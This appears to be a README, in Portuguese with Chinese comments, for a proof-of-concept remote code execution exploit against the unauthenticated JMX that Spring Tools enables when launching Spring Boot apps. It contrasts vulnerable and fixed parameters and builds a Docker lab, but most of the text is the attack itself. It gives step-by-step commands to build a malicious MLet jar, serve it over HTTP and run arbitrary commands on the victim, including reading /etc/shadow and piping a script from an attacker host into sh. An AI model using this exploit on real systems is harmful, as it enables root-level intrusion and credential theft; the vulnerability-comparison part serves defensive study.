
Exploit de prova de conceito para RCE JMX não autenticado no modo de informações ao vivo do Spring Tools, usando carregamento remoto de classes MLet para executar comandos arbitrários em aplicações Spring Boot vulneráveis.
README em inglês | Aviso de vulnerabilidade: Spring Security Advisory | Registro CVE
Vulnerabilidade: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0, ao iniciar uma aplicação Spring Boot no modo live information (ativado por padrão), injeta na aplicação parâmetros remotos de JMX sem autenticação, sem TLS e vinculados a todas as interfaces de rede. Um atacante em uma rede adjacente pode se conectar a esse JMX MBeanServer sem credenciais e, por meio de carregamento remoto de classes via MLet, alcançar RCE direto (permissões de root).
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HComparando a tag afetada 5.2.0.RELEASE (== v2.2.0) com a tag corrigida 5.3.0.RELEASE (== v2.3.0):
Versão vulnerável eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: ativado por padrão, toda vez que um aplicativo Boot é iniciado a partir da IDE, os parâmetros acima são injetados.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injeta os mesmos -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Versão corrigida 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX vinculado apenas ao loopback).com.sun.management.jmxremote*, passando a anexar localmente pelo PID do processo via Attach API (o mesmo vale para o lado do VSCode, com a remoção completa dos parâmetros de JMX remoto em debug-config-provider.ts).Atenção:
-Dcom.sun.management.jmxremote.portsozinho já ativa o agente JMX (sem necessidade do interruptor principalcom.sun.management.jmxremote), e a variante do VSCode também é afetada.
Os scripts são totalmente separados: setup-lab.sh apenas monta o ambiente, attack.sh apenas realiza a exploração do ataque. Dependências: docker, JDK 17+ (padrão /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (opcional).
setup-lab.sh)./setup-lab.sh vuln # 漏洞配置 (5.2.0 参数) [默认]
./setup-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup # 停止并删除容器与网络
Preenchimento automático: compila a aplicação Spring Boot vítima → cria uma rede bridge docker isolada (contêiner vítima 172.22.0.x, atacante no host, simulando rede adjacente) → inicia a aplicação com os parâmetros JVM da versão correspondente → exibe a porta de escuta JMX → gera o IP da máquina vítima / porta JMX / gateway. O contêiner vítima permanece em execução, permitindo prosseguir diretamente para a próxima etapa de ataque.
attack.sh)./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
Utilize o script para automatizar: compilar o jar malicioso → gerar mlet.txt (o comando é passado via <ARG>) → iniciar o serviço HTTP para fornecer o payload → executar o exploit. O payload apenas executa o comando e retorna a saída: o comando é executado de forma síncrona via /bin/sh -c dentro da JVM da vítima, a saída é capturada em memória, e em seguida o programa de exploit, pela mesma conexão JMX, chama Pwn.getOutput() para trazê-la de volta ao lado do atacante e exibi-la diretamente (incluindo o código de saída), sem gravar nenhum arquivo na máquina alvo. Se ainda quiser deixar a saída na máquina alvo, basta redirecioná-la no próprio comando (por exemplo, "id > /tmp/out.txt").
Experimento de controle: primeiro
./setup-lab.sh vulne o ataque deve ter sucesso; depois./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinnede o ataque deve falhar (JMX apenas em loopback).
attack.sh (recomendado)O comando é totalmente configurável, alterar o comando não exige recompilar nada (o comando é passado pela tag <ARG> do MLET, o jar é independente do comando):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
Processo: compila automaticamente evil.jar → escapa o XML do comando e gera mlet.txt → inicia um serviço HTTP para fornecer evil.jar + mlet.txt → compila e executa JmxExploit. O payload é responsável apenas por executar o comando e retornar a saída, sem gravar nenhum arquivo na máquina alvo.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)